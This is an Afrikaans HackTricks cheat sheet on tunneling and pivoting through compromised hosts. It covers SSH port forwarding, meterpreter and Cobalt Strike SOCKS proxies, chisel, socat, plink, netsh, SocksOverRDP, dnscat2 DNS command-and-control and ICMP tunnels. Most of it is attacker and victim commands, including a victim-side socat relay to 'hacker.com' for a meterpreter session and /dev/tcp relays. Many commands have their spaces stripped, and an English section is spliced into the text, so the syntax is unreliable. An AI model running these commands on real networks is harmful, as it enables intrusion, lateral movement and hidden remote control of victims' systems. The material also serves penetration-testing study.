Werk jy by 'n cybersekerheidsmaatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat? Kyk na die INSKRYWINGSPLANNE!
ICMP en SYN skanderings kan nie deur sokkiesproksi's getunnel word nie, dus moet ons ping-ontdekking uitskakel (-Pn) en spesifiseer TCP-skanderings (-sT) vir hierdie doel.
Bash
Gasheer -> Spring -> InternA -> InternB
# On the jump server connect the port 3333 to the 5985mknodbackpipep;nc-lvnp59850<backpipe|nc-lvnp33331>backpipe# On InternalA accessible from Jump and can access InternalB## Expose port 3333 and connect it to the winrm port of InternalBexec3<>/dev/tcp/internalB/5985exec4<>/dev/tcp/Jump/3333cat<&3>&4&cat<&4>&3&# From the host, you can now access InternalB from the Jump serverevil-winrm-uusername-iJump
SSH
SSH grafiese verbinding (X)
ssh-Y-C<user>@<ip>#-Y is less secure but faster than -X
Plaaslike Poort-na-Poort
Maak 'n nuwe poort oop in SSH-bediener --> Ander poort
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Local port 1521 accessible in port 10521 from everywhere
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Remote port 1521 accessible in port 10521 from everywhere
Poort-tot-poort
Plaaslike poort --> Gehackte gasheer (SSH) --> Derde_kas:Poort
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Examplesudossh-L631:<ip_victim>:631-N-f-l<username><ip_compromised>
Poort2gasheer (proxychains)
Plaaslike Poort --> Gehackte gasheer (SSH) --> Waarookal
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
Omgekeerde Poort Deurstuur
Dit is nuttig om omgekeerde shells te verkry van interne gasheer deur 'n DMZ na jou gasheer:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tonnel
Jy benodig root in beide toestelle (aangesien jy nuwe interfaces gaan skep) en die sshd-config moet root login toelaat:
PermitRootLogin yesPermitTunnel yes
sshroot@server-wany:any#This will create Tun interfaces in both devicesipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPifconfigtun0up#Activate the client side network interfaceipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IPifconfigtun0up#Activate the server side network interface
Plaaslike poort --> Gehackte gasheer (aktiewe sessie) --> Derde_kas:Poort
# Inside a meterpreter sessionportfwdadd-l<attacker_port>-p<Remote_port>-r<Remote_host>
SOCKS
SOCKS (Socket Secure) is 'n protokol wat gebruik word om 'n privaat skakel tussen rekenaars te skep. Dit kan gebruik word vir anonimiteit en om deur vuremuure te beweeg.
background#meterpretersessionrouteadd<IP_victim><Netmask><Session># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Tunneling and Port Forwarding
Tunneling
Tunneling is a method that allows data to be transferred securely over a public network. It involves encapsulating the data in another protocol to create a secure communication channel. This can be useful for bypassing network restrictions or securely accessing resources on a remote network.
Port Forwarding
Port forwarding is a technique that allows a computer's services to be accessed from the internet. It involves redirecting specific network traffic from one port to another, typically used to expose services running on a local machine to the internet. Port forwarding can be used for remote access, gaming, or hosting services.
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Cobalt Strike
SOCKS proxy
Maak 'n poort oop in die spanbediener wat luister op al die koppelvlakke wat gebruik kan word om die verkeer deur die baken te roeteer.
beacon>socks1080[+] started SOCKS4a server on: 1080# Set port 1080 as proxy server in proxychains.confproxychainsnmap-n-Pn-sT-p445,3389,598510.10.17.25
rPort2Port
In hierdie geval is die poort oopgemaak in die bakenserver, nie in die Spanbediener nie, en die verkeer word gestuur na die Spanbediener en vandaar na die aangeduide gasheer:poort
In hierdie geval word die poort oopgemaak in die bakenserver, nie in die Spanbediener nie, en die verkeer word gestuur na die Cobalt Strike-kliënt (nie na die Spanbediener nie) en vandaar na die aangeduide gasheer:poort.
Jy kan dit aflaai van die vrystellingsbladsy van https://github.com/jpillora/chisel
Jy moet dieselfde weergawe vir klient en bediener gebruik
sokkies
./chiselserver-p8080--reverse#Server -- Attacker./chisel-x64.execlient10.10.14.3:8080R:socks#Client -- Victim#And now you can use proxychains with port 1080 (default)./chiselserver-v-p8080--socks5#Server -- Victim (needs to have port 8080 exposed)./chiselclient-v10.10.10.10:8080socks#Attacker
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker>socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
Jy kan 'n nie-geauthentiseerde proksi omseil deur hierdie lyn uit te voer in plaas van die laaste een in die slagoffer se konsole:
Skep sertifikate aan beide kante: Klient en Bediener
# Execute these commands on both sidesFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
Verbind die plaaslike SSH-poort (22) met die 443-poort van die aanvaller se gasheer.
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker>sshlocalhost-p2222-lwww-data-ivulnerable#Connects to the ssh of the victim
Plink.exe
Dit is soos 'n konsolideerder PuTTY weergawe (die opsies is baie soortgelyk aan 'n ssh-klient).
Aangesien hierdie binêre lêer op die slagoffer uitgevoer sal word en dit 'n ssh-klient is, moet ons ons ssh-diens en poort oopmaak sodat ons 'n omgekeerde verbinding kan hê. Dan, om slegs plaaslik toeganklike poort na 'n poort op ons masjien deur te stuur:
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echoy|plink.exe-lroot-pwpassword [-p 2222]-R9090:127.0.0.1:909010.11.0.41#Local port 9090 to out port 9090
Windows netsh
Poort-tot-poort
Jy moet 'n plaaslike admin wees (vir enige poort)
netshinterfaceportproxyaddv4tov4listenaddress=listenport=connectaddress=connectport=protocol=tcp# Example:netshinterfaceportproxyaddv4tov4listenaddress=0.0.0.0listenport=4444connectaddress=10.10.10.10connectport=4444# Check the port forward was created:netshinterfaceportproxyshowv4tov4# Delete port forwardnetshinterfaceportproxydeletev4tov4listenaddress=0.0.0.0listenport=4444
SocksOverRDP & Proxifier
Jy moet RDP-toegang oor die stelsel hê.
Aflaai:
SocksOverRDP x64 Binêre lêers - Hierdie instrument gebruik Dinamiese Virtuele Kanale (DVC) van die Verrekenaarbedienerdiensfunksie van Windows. DVC is verantwoordelik vir tunneling pakkies oor die RDP-verbinding.
Laai SocksOverRDP-Plugin.dll op jou kliëntrekenaar soos hierdie:
# Load SocksOverRDP.dll using regsvr32.exeC:\SocksOverRDP-x64>regsvr32.exeSocksOverRDP-Plugin.dll
Nou kan ons verbind met die slagoffer oor RDP deur mstsc.exe te gebruik, en ons behoort 'n aanvraag te ontvang wat sê dat die SocksOverRDP-inprop geaktiveer is, en dit sal luister op 127.0.0.1:1080.
Verbind via RDP en laai & voer die SocksOverRDP-Server.exe binêre lêer op die slagoffer se masjien uit:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Bevestig nou op jou masjien (aanvaller) dat poort 1080 aan die luister is:
netstat -antb | findstr 1080
Nou kan jy Proxifier gebruik om die verkeer deur daardie poort te proxy.
Proxify Windows GUI Apps
Jy kan Windows GUI-programme laat navigeer deur 'n proxy te gebruik met Proxifier.
In Profiel -> Proxy-bedieners voeg die IP en poort van die SOCKS-bediener by.
In Profiel -> Proxifiseringreëls voeg die naam van die program wat geproxifiseer moet word by en die verbindinge na die IP-adresse wat jy wil proxifiseer.
NTLM proxy omseil
Die voorheen genoemde instrument: RpivotOpenVPN kan dit ook omseil deur hierdie opsies in die konfigurasie-lêer in te stel:
Dit verifieer teen 'n proksi en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, deurgestuur word. Dan kan jy die gereedskap van jou keuse deur hierdie poort gebruik.
Byvoorbeeld wat poort 443 deurstuur
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Nou, as jy byvoorbeeld die SSH-diens in die slagoffer instel om na port 443 te luister. Jy kan daarmee verbind deur die aanvaller se poort 2222.
Jy kan ook 'n meterpreter gebruik wat na localhost:443 verbind en die aanvaller luister na poort 2222.
Stel 'n C&C-kanaal deur DNS op. Dit benodig nie root-voorregte nie.
attacker>ruby./dnscat2.rbtunneldomain.comvictim>./dnscat2tunneldomain.com# If using it in an internal network for a CTF:attacker>rubydnscat2.rb--dnshost=10.10.10.10,port=53,domain=mydomain.local--no-cachevictim>./dnscat2--dnshost=10.10.10.10,port=5353
In PowerShell
Jy kan dnscat2-powershell gebruik om 'n dnscat2-klient in PowerShell te hardloop:
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Verander proxychains DNS
Proxychains onderskep die gethostbyname libc-oproep en stuur tcp DNS-versoeke deur die socks-proksi. Standaard gebruik proxychains die DNS-bediener 4.2.2.2 (hardgekoeër). Om dit te verander, wysig die lêer: /usr/lib/proxychains3/proxyresolv en verander die IP. As jy in 'n Windows-omgewing is, kan jy die IP van die domeinbeheerder instel.
Root is nodig in beide stelsels om tonnel-adaptere te skep en data tussen hulle te tonnel met behulp van ICMP-echoversoeke.
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#After a successful connection, the victim will be in the 1.1.1.100
# Generate itsudo./autogen.sh# Server -- victim (needs to be able to receive ICMP)sudoptunnel-ng# Client - Attackersudoptunnel-ng-p<server_ip>-l<listen_port>-r<dest_ip>-R<dest_port># Try to connect with SSH through ICMP tunnelssh-p2222-luser127.0.0.1# Create a socks proxy through the SSH connection through the ICMP tunnelssh-D9050-p2222-luser127.0.0.1
ngrok
ngrok is 'n gereedskap om oplossings aan die internet bloot te stel in een opdragreël.Uitstal URI is soos:UID.ngrok.io
Installasie
Skep 'n rekening: https://ngrok.com/signup
Klient aflaai:
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat? Kyk na die INSKRYWINGSPLANNE!